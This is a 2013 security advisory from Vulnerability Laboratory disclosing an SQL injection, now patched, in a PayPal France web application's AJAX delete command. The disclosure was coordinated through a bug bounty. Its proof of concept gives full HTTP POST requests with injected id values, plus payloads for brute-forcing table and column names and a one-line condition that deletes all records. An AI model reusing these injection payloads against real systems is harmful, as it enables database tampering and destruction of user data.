Title: ====== PayPal Bug Bounty #78 FR - SQL Injection Vulnerability Date: ===== 2013-05-24 References: =========== http://www.vulnerability-lab.com/get_content.php?id=878 PayPal Security UID: Sbc8fSB VL-ID: ===== 878 Common Vulnerability Scoring System: ==================================== 7.6 Introduction: ============= PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy (for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards. The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request a transfer to their bank account. PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies. On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across Europe, PayPal also operates as a Luxembourg-based bank. On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010. Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables. (Copy of the Vendor Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal] Abstract: ========= The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerability in the official Paypal France Website Application. Report-Timeline: ================ 2013-02-17: Researcher Notification & Coordination 2013-02-18: Vendor Notification 2013-02-20: Vendor Response/Feedback 2013-05-01: Vendor Fix/Patch 2013-05-24: Public Disclosure Status: ======== Published Affected Products: ================== PayPal Inc Product: France - Core Application 2013 Q1 Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== A remote SQL Injection via POST request method is detected in the official PayPal France Service Web Application. The vulnerability allows remote attackers to inject own sql statements to the affected web application dbms. The vulnerability is located in the in the `ajax_escape_perso_model` (ajax query) when processing to request via POST method the bound vulnerable escape_perso_delete id parameter. Manipulation of the POST request allows an remote attacker to inject own sql commands and identify table names. The vulnerability can be exploited by remote attackers with low privilege application user accounts without user interaction. Successful exploitation of the vulnerability results in web application and dbms compromise via basic update sql injection. Vulnerable Module(s): [+] ajax_espace_perso_model Vulnerable Parameter(s): [+] espace_perso_delete > id Proof of Concept: ================= The remote sql injection web vulnerability can be exploited by remote attackers with low privileged application user account and without required user interaction. For demonstration or reproduce ... Vulnerable Model: ajax_espace_perso_model > vulnerable command > espace_perso_delete > vulnerable parametere id Note: While intercepting ajax queries, we remarks that delete command was vulnerable to SQL injection : As you can see this command "espace_perso_delete" is used to delete contents records . from the first view , we guess that query type was a delete SQL query , but using [5- SQL statements (information leak)] we discovered that when we send a delete command ,the application get the id and turn detruit to yes. detruit=Non --> in this case content is appear from dashboard liste detruit=YEs --> in this case content is disappear from dashboard liste Note: That mean the SQL query is an update SQL query that look like the following example : update espaceperso set detruit="YES" where id= [SQLI] Example: POST /sifacile/index.php/ajax HTTP/1.1 Host: www.paypal-france.fr:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: */* Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://www.paypal-france.fr/sifacile/index.php/espace_perso Content-Length: 65 Cookie: s_pers=%20s_favsn_paypalglobal_1%3D9299968791395%7C1675853730487%3B%20s_ev32%3D%255B%255B'3484- 122691-2056-9'%252C'1360337420905'%255D%255D%7C1518103820905%3B%20gpv_c43%3Dfr%253Amshub%253Asolutions%253A solution%2520finder%7C1360722739983%3B%20gpv_events%3Dno%2520value%7C1360722739992%3B; __utma=172493346.307986611. 1360320931.1360956215.1360959238.8; __utmz=172493346.1360334269.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic| utmctr=(not%20provided); source=businesshub; PHPSESSID=ddj17bn73qqkhljskcq0o17c43; s_sess=%20s_cc%3Dtrue%3B%20s_refresh %3DFR%253AShops%253AHome%257E%255B1%255D%3B%20s_sq%3D%3B; __utmc=172493346 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache model=ajax_espace_perso_model&command=espace_perso_delete&id=1263 and nonexistcolumn=3333 ___________________________________________________________________________________________ Response : Une erreur de base de données s'est produite. Contactez l'administrateur Note: As you can see in the POST request and we guess that the table name is espacepersoSQL2 POST /sifacile/index.php/ajax HTTP/1.1 Host: www.paypal-france.fr:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: */* Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://www.paypal-france.fr/sifacile/index.php/espace_perso Content-Length: 65 Cookie: s_pers=%20s_favsn_paypalglobal_1%3D9299968791395%7C1675853730487%3B%20s_ev32%3D%255B%255B'3484-122691- 2056-9'%252C'1360337420905'%255D%255D%7C1518103820905%3B%20gpv_c43%3Dfr%253Amshub%253Asolutions%253Asolution%2520 finder%7C1360722739983%3B%20gpv_events%3Dno%2520value%7C1360722739992%3B; __utma=172493346.307986611.1360320931.1360956215.1360959238.8; __utmz=172493346.1360334269.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); source=businesshub; PHPSESSID=ddj17bn73qqkhljskcq0o17c43; s_sess=%20s_cc%3Dtrue%3B%20s_refresh%3DFR%253AShops%253AHome%257E%255B1%255D%3B%20s_sq%3D%3B; __utmc=172493346 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache model=ajax_espace_perso_model&command=espace_perso_delete&id=1263 or image=3333 ___________________________________________________________________________________________ Response : {"success":true,"result":{"status":"OK","data":"","code":1}} Note: After some tests, we was able to identify if a given columnname is valid or not ... Using this vulnerability ,we was able to --> Bruteforce tables : 999999999999 or column=1 --> Bruteforce Columns : 999999999999 or tablename.column=1 --> Delete all contents: (using one query injection) condition 999999999999 or id>0 Solution: ========= 2013-05-01: Vendor Fix/Patch Risk: ===== The security risk of the sql injection web vulnerability via update is estimated as high(+). Credits: ======== Vulnerability Laboratory [Research Team] - Karim Boudra [kami@vulnerability-lab.com] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2013 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: research@vulnerability-lab.com